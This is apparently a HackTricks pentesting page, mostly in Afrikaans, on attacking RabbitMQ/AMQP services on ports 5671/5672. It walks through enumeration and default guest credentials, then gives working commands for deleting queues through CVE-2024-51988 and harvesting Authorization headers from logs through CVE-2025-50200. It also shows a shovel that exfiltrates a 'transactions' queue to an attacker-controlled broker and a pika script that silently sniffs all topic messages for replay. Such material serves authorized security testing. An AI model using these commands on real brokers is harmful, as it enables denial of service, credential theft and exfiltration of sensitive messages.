5671,5672 - Pentesting AMQP
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Van cloudamqp:
RabbitMQ is ’n boodskappe-wagly-sagteware wat ook bekend staan as ’n boodskap-bemiddelaar of rybestuurder. Eenvoudig gestel; dit is sagteware waarin rye gedefinieer word, waaraan toepassings koppel om ’n boodskap of boodskappe oor te dra.
’n Boodskap kan enige soort inligting bevat. Dit kan byvoorbeeld inligting bevat oor ’n proses of taak wat op ’n ander toepassing van stapel gestuur moet word (wat selfs op ’n ander bediener kan wees), of dit kan net ’n eenvoudige teksboodskap wees. Die rybestuur-sagteware berg die boodskappe totdat ’n ontvangende toepassing koppel en ’n boodskap van die ry haal. Die ontvangende toepassing verwerk dan die boodskap.
Definisie vanaf .
Standaard poort: 5672,5671
PORT STATE SERVICE VERSION
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
- Default credentials:
guest:guest. RabbitMQ beperk dit tot localhost deurloopback_users, maar baie Docker/IoT-images skakel daardie kontrole af, dus toets altyd ’n afgeleë aanmelding voordat jy aanvaar dit is geblokkeer. - Authentication mechanisms: PLAIN and AMQPLAIN is standaard aangeskakel, ANONYMOUS is gekoppel aan
anonymous_login_user/anonymous_login_pass, en EXTERNAL (x509) kan blootgestel word wanneer TLS aangeskakel is. Enumereer wat die broker adverteer sodat jy weet of jy later password spraying of certificate impersonation moet probeer.
Enumeration
Manual
import amqp
# By default it uses "guest":"guest"
conn = amqp.connection.Connection(host="IP", port=5672, virtual_host="/")
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
print(k, v)
Sodra jy geauthentiseer is, dump conn.server_properties, conn.channel_max en conn.frame_max om deurvoerlimiete te verstaan en of jy hulpbronne met oversized frames kan uitput.
Outomaties
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info IP
PORT STATE SERVICE VERSION
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
| amqp-info:
| capabilities:
| publisher_confirms: YES
| exchange_exchange_bindings: YES
| basic.nack: YES
| consumer_cancel_notify: YES
| copyright: Copyright (C) 2007-2013 GoPivotal, Inc.
| information: Licensed under the MPL. See http://www.rabbitmq.com/
| platform: Erlang/OTP
| product: RabbitMQ
| version: 3.1.5
| mechanisms: PLAIN AMQPLAIN
|_ locales: en_US
TLS/SASL kontroles
- Probe AMQPS:
openssl s_client -alpn amqp -connect IP:5671 -tls1_3 -msg </dev/null
Dit leaks die sertifikaatketting, ondersteunde TLS-weergawes en of mutual TLS vereis word.
- List listeners without creds:
rabbitmq-diagnostics -q listeners
Nuttig sodra jy low-priv shell toegang tot die host kry.
- Spot ANONYMOUS logins: as die broker die ANONYMOUS SASL-meganisme toelaat, probeer koppel met ’n leë username/password; RabbitMQ sal jou intern map na die
anonymous_login_user(defaults toguest).
Brute Force
Wenke vir uitbuiting
Queue verwydering sonder configure perms (CVE-2024-51988)
RabbitMQ ≤ 3.12.10 (en ongepatchte Tanzu builds) versuim om die configure toestemming te kontroleer wanneer queues via die HTTP API verwyder word. Enige geverifieerde gebruiker met toegang tot die teiken-vhost kan arbitrêre queues nuke selfs al het hulle slegs read of write regte.
# confirm vulnerable version first
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version
# delete a high-value queue
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing
Kombineer dit met rabbitmqadmin list permissions om vhosts te vind waar jou low-priv user gedeeltelike toegang het, en vee dan queues uit om ’n denial of service te veroorsaak of om kompenserende kontroles aan die AMQP-kant te aktiveer. Check 15672 pentesting vir meer HTTP API-endpunte om met hierdie bug te kette.
Oes credentials uit RabbitMQ logs (CVE-2025-50200)
Tot 4.0.8/4.1.0, wanneer die management API met HTTP basic auth op ’n nie-bestaande resource aangeroep word, veroorsaak dit dat die broker die hele Authorization header (base64) in die log skryf. As jy beperkte filesystem-toegang kry (bv. Docker escape, plugin RCE), soek /var/log/rabbitmq/rabbit@*.log vir Authorization: en herstel credentials vir ander tenants of service accounts.
curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d
Veroorsaak dit doelbewus met vals endpoints om vars geheime in die logs te plant, en pivot dan deur die gedekodeerde creds oor AMQP, STOMP, MQTT of die OS self te hergebruik.
Wapen rabbitmqadmin-ng
rabbitmqadmin v2 (aka rabbitmqadmin-ng) is ’n self-standende CLI wat met die management API praat en nou staties gekoppelde builds vir Linux/macOS/Windows lewer. Plaas dit op jou bounce box en gebruik dit in ’n script:
# enumerate live channels and prefetch pressure
rabbitmqadmin --host target --port 15672 --username user --password pass channels list --non-interactive
# clone a shovel to exfiltrate messages to attacker-controlled broker
rabbitmqadmin shovels declare_amqp091 \
--name loot \
--source-uri amqp://user:pass@target:5672/%2f \
--destination-uri amqp://attacker:pw@vps:5672/%2f \
--source-queue transactions \
--destination-queue stolen
Omdat die instrument blue/green-bewuste gesondheidstoetse ondersteun, kan jy ook misbruik maak van rabbitmqadmin health_check port_listener --port 5672 om op afstand te bevestig of TLS-luisteraars blootgestel is of om die diens besig te hou vir timing probes.
Message hijacking/sniffing
As jy permissiewe beleidsreëls vind (.* bindings, topic exchanges, or x-queue-master-locator = min-masters), kan jy stilweg boodskappe aftap sonder om dit te verwyder:
import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')
for method, props, body in ch.consume('loot', inactivity_timeout=5):
if body:
print(method.routing_key, body)
Ruil die routing key vir audit.# of payments.* om op sensitiewe strome te fokus, en publiseer dan vervalste boodskappe weer deur die basic_publish-argumente om te keer — handig vir herspeel-aanvalle teen downstream microservices.
Ander RabbitMQ-poorte
In https://www.rabbitmq.com/networking.html kan jy vind dat rabbitmq verskeie poorte gebruik:
- 1883, 8883: (MQTT clients sonder en met TLS, as die MQTT plugin aangeskakel is). Leer meer oor hoe om te pentest MQTT hier.
- 4369: epmd, ’n peer discovery-diens wat deur RabbitMQ nodes en CLI-instrumente gebruik word. Leer meer oor hoe om hierdie diens te pentest hier.
- 5672, 5671: word gebruik deur AMQP 0-9-1 en 1.0 kliënte sonder en met TLS
- 15672: HTTP API kliënte, management UI en rabbitmqadmin (slegs as die management plugin aangeskakel is). Leer meer oor hoe om hierdie diens te pentest hier.
- 15674: STOMP-over-WebSockets kliënte (slegs as die Web STOMP plugin aangeskakel is)
- 15675: MQTT-over-WebSockets kliënte (slegs as die Web MQTT plugin aangeskakel is)
- 15692: Prometheus metrics (slegs as die Prometheus plugin aangeskakel is)
- 25672: word gebruik vir inter-node en CLI-instrumente kommunikasie (Erlang distribution server port) en word toegewys uit ’n dinamiese reeks (beperk tot ’n enkele poort standaard, bereken as AMQP-poort + 20000). Tensoortige eksterne verbindings op hierdie poorte regtig nodig is (bv. die cluster gebruik federation of CLI-instrumente word op masjiene buite die subnet gebruik), behoort hierdie poorte nie openbaar blootgestel te wees nie. Sien die networking guide vir besonderhede. Slegs 9 van hierdie poorte is op die internet oop.
- 35672-35682: word deur CLI-instrumente gebruik (Erlang distribution client ports) vir kommunikasie met nodes en word toegewys uit ’n dinamiese reeks (bereken as server distribution port + 10000 tot server distribution port + 10010). Sien die networking guide vir besonderhede.
- 61613, 61614: STOMP clients sonder en met TLS (slegs as die STOMP plugin aangeskakel is). Minder as 10 toestelle met hierdie poort oop en meestal UDP vir DHT nodes.
Sien ook
Shodan
AMQP
Verwysings
- CloudAMQP – RabbitMQ for beginners
- RabbitMQ Networking Guide
- RabbitMQ Authentication, Authorisation & Access Control
- CVE-2024-51988 – RabbitMQ HTTP API queue deletion bug
- GHSA-gh3x-4x42-fvq8 – RabbitMQ logs Authorization header
- rabbitmqadmin v2 (rabbitmqadmin-ng)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


